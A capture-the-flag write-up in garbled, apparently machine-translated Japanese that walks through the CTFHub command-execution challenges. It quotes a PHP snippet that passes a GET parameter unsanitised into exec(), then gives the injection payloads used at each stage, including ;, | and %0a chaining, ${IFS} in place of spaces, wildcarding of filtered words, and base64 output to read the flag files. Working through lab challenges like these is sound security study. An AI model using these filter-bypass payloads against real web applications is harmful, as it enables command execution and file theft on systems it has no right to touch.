ディレクトリ
CTFHub-のスキルツリー - コマンド実行
1.コマンドインジェクション
ソースに:
// 关键代码
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {// 传入ip,
$cmd = "ping -c 4 {$_GET['ip']}";// 运行命令,可以拼接
exec($cmd, $res);// 执行cmd,把结果输出到res
}
if ($res) {
print_r($res);// 打印结果
}
show_source(__FILE__);
?>
コードの5行、行に直接縫いによります
、PHPファイルを参照してください8061098418328.php
猫と直接、しかし、表示されません。
特殊文字を考慮すると、base64エンコーディングを使用して、エコーができない、フラグを取得します。
ここで使用されるパイプ記号は|
、次のコマンド入力としてコマンドの出力を表します
2.フィルタの猫
ろ過猫、猫同様の命令をここに杭
そして、文をステッチなどのトピックに関するアイデア
まず、ファイル名のLSをチェック
その後、同様の見解をcatコマンドの出力内容と形式のBASE64
次の問題
3. [フィルタ]ボックス
スペースは使用され${IFS}
、缶の代わりにも使用することができるIFS$9、%09、<、>、<>、{,}、%20
スペースの代わりに
アイデアや問題の残りの部分
4.フィルターディレクトリの区切り
emmmm、私は、ディレクトリの区切りフィルターはと思い/
、私は持っていないだろう、
直接使用する;
ステッチはアイデアの他の部分と同じ、注文することができます
ペイロード: 127.0.0.1;cd flag_is_here;catflag_159229063344.php | base64
5.フィルタの演算子
フロントbase64エンコーディングは、オペレータを使用し、場合にのみ、file | base64
のように書くこともできbase64 file
残りの前に考えと一致
6.統合ろ過練習
ろ過|,&,;, ,/,cat,flag,ctfhub
スペースを使用することができます${IFS}
猫缶more
フラグは、定期的に使用することができますf***
ctfhub未満でなければなりません
加えてLinuxのコマンドの区切りにチェック;
が%0a
あなたは演算子を持つことはできません
そして、アイデアは、それを押す前にそれを行うには
最終ペイロード
!ここでは、そう、それ以外の場合は、再エンコード%の0Aになり、URLに負けるようにしてください、URLは、%0Aとしてエンコードされ、注意する必要があります
表示カタログ127.0.0.1%0als
フォルダの内容を見ます127.0.0.1%0acd${IFS}f***_is_here%0als
チェックフラグ127.0.0.1%0acd${IFS}f***_is_here%0abase64${IFS}f***_31393309531738.php